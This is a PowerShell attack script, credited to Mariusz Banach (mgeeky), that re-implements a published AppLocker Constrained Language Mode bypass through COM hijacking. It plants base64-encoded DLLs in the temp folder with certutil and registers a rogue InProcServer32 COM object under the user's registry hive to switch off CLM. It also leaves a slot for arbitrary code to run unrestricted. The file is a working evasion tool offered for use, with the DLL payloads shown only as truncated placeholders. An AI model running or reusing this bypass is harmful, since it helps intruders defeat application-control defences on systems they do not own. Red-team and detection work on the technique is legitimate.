# -------------------------
$comName = "ClmDisableDll"
$comDescription = "CLM Disable COM"

$dstDllPath = "$($Env:Temp)\ClmDisableDll.dll"
$dstAssemblyPath = "$($Env:Temp)\ClmDisableAssembly.dll"

$guid = "{394aaa50-684e-4870-911a-d045293b3b13}"

# -------------------------

function Bypass-CLM 
{ 
    param(
       [switch]$RemoveComWhenFinished
    )  

    $ErrorActionPreference = "SilentlyContinue"

    function Create-COM {
        param(
            [Parameter(Mandatory = $true)]
            [string]$comName,

            [Parameter(Mandatory = $true)]
            [string]$comDescription,

            [Parameter(Mandatory = $true)]
            [string]$dllPath,

            [Parameter(Mandatory = $true)]
            [string]$guid
        )
        
        # Obtains current user SID, can't use System.Security.Principal.NTAccount
        # type because we are in Constrained Language Mode
        $sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value

        New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
        $key = 'HKU:\{0}_classes' -f $sid

        # Adding our own InProcServer32
        $key = 'HKU:\{0}_classes\CLSID\' -f $sid
        New-Item -Path $key -Name $guid
        $key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
        New-Item -Path $key -Name 'InProcServer32'
        New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
        $key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, $guid
        New-ItemProperty -Path $key -Name '(Default)' -Value $dllPath -PropertyType String -Force
        New-ItemProperty -Path $key -Name 'ThreadingModel' -Value "Apartment" -PropertyType String -Force

        # Registering COM's ProgID / shortname
        $key = 'HKU:\{0}_classes' -f $sid
        New-Item -Path $key -Name $comName
        $key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
        New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
        New-Item -Path $key -Name 'CLSID'
        $key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, $comName
        New-ItemProperty -Path $key -Name '(Default)' -Value $guid -PropertyType String -Force
    }

    function Remove-COM {
        param(
            [Parameter(Mandatory = $true)]
            [string]$comName,

            [Parameter(Mandatory = $true)]
            [string]$guid
        )

        $sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value

        New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | Out-Null
        $key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
        Remove-Item -Path $key -Recurse | Out-Null

        $key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
        Remove-Item -Path $key -Recurse | Out-Null
    }

    function Invoke-PS {
        param(
            [Parameter(Mandatory = $true)]
            [string]$Commands
        )

        $Runspace = [runspacefactory]::CreateRunspace()
        $posh = [powershell]::Create()
        $posh.runspace = $Runspace
        $Runspace.Open()
        
        [void]$posh.AddScript($Commands)
        $posh.Invoke()
        $posh.Dispose() | Out-Null
    }

    function Decode-Base64 ($data) {
        $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
        $ss = "[^" + $chars + "=]"
        $data = $data -replace $ss, ""

        $pad = ""
        [byte[]]$r = @()
        if (($data[$data.Length - 1]) -eq '=') {
            if (($data[$data.Length - 2]) -eq '=') {
                $pad = "AA"
            } else {
                $pad = "A"
            }
        }

        $data = $data.Substring(0, $data.Length - $pad.Length) + $pad

        for($c = 0; $c -lt $data.Length ; $c += 4) {
            $n = ($chars.IndexOf($data[$c]) -shl 18) `
                +  ($chars.IndexOf($data[$c + 1]) -shl 12) `
                +  ($chars.IndexOf($data[$c + 2]) -shl 6) `
                +  ($chars.IndexOf($data[$c + 3]))

            $r += [byte](($n -shr 16) -band 0xff)
            $r += [byte](($n -shr 8) -band 0xff)
            $r += [byte]($n -band 0xff)
        }

        $dif = $r.Length - $pad.Length
        return $r[0..$dif]
    }

    Write-Host "`tAppLocker Constrined Language Mode Bypass via COM"
    Write-Host "`t(implementation of: @xpn's technique, as documented in:)"
    Write-Host "`t(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)"
    Write-Host "`n`tRe-implemented by: Mariusz Banach, mgeeky"
    Write-Host "`t-----`n"

    $EncodedAssemblyDll = "[encoded data, 7512 characters]"    
    
    # ##############################################
    
    $EncodeDisableDll64 = "[encoded data, 154284 characters]"

    # ##############################################

    $EncodeDisableDll86 = "[encoded data, 131072 characters]"


    # ##############################################


    Write-Host "[.] Step 0. Decoding and planting DLL files in:"

    if (!(Test-Path $dstAssemblyPath) -or ((Get-Item $dstAssemblyPath).length -eq 0) ) {
        $DecodedAssemblyDll = (Decode-Base64 $EncodedAssemblyDll)
        Write-Host "`t$dstAssemblyPath"
        Set-Content -Value $DecodedAssemblyDll -Encoding Byte -Path $dstAssemblyPath -Force
        $DecodedAssemblyDll = ""
        $EncodedAssemblyDll = ""
    }

    if (!(Test-Path $dstDllPath) -or ((Get-Item $dstDllPath).length -eq 0) ) {
        [byte[]]$DecodedDisableDll = @()
        if ([IntPtr]::Size -eq 4) {
            #$DecodedDisableDll = (Decode-Base64 $EncodeDisableDll86)
            $EncodeDisableDll86 | Out-File -FilePath "$dstDllPath.txt" -Force
        } else {
            #$DecodedDisableDll = (Decode-Base64 $EncodeDisableDll64)
            $EncodeDisableDll64 | Out-File -FilePath "$dstDllPath.txt" -Force
        }
        $EncodeDisableDll86 = ""
        $EncodeDisableDll64 = ""

        Write-Host "`t$dstDllPath"
        #Set-Content -Value $DecodedDisableDll -Encoding Byte -Path $dstDllPath -Force
        certutil -decode "$dstDllPath.txt" $dstDllPath 
        $DecodedDisableDll = ""
    }

    if (!(Test-Path $dstAssemblyPath) -or !(Test-Path $dstDllPath) -or ((Get-Item $dstAssemblyPath).length -eq 0) -or ((Get-Item $dstDllPath).length -eq 0)) {
        Write-Host "[-] Could not decode and plant DLL files."
        return $false
    } else {
        Write-Host "[+] Files planted."
    }


    Write-Host "[.] Step 1. Creating custom COM object."

    Create-COM -ComName $comName -ComDescription $comDescription -DllPath $dstDllPath -Guid $guid | Out-Null

    Write-Host "[.] Step 2. Invoking it ($comName)..."

    Write-Host "`tPowershell runspace Thread ID: $([appdomain]::GetCurrentThreadId())"
    try
    {
        New-Object -ComObject $comName -erroraction 'silentlycontinue' | Out-Null
    }
    catch
    {
    }

    if($RemoveComWhenFinished)
    {  
        Write-Host "[.] Removing registered COM object."
        Remove-COM -ComName $comName -Guid $guid
    }
    else
    {
        Write-Host "`n============"
        Write-Host -ForegroundColor Yellow "`nUse below command to disable CLM on Demand (ignore errors):"
        Write-Host "`n`tPS> " -NoNewLine
        Write-Host -ForegroundColor Green "New-Object -ComObject $comName"
        Write-Host "`n============`n"
    }


    #############################################################
    #
    # PUT YOUR CODE BELOW THAT IS GOING TO BE RUN IN CLM DISABLED
    #

    Write-Host "`n[+] Finished. CLM status: $($ExecutionContext.SessionState.LanguageMode)"

    #############################################################
}

Bypass-CLM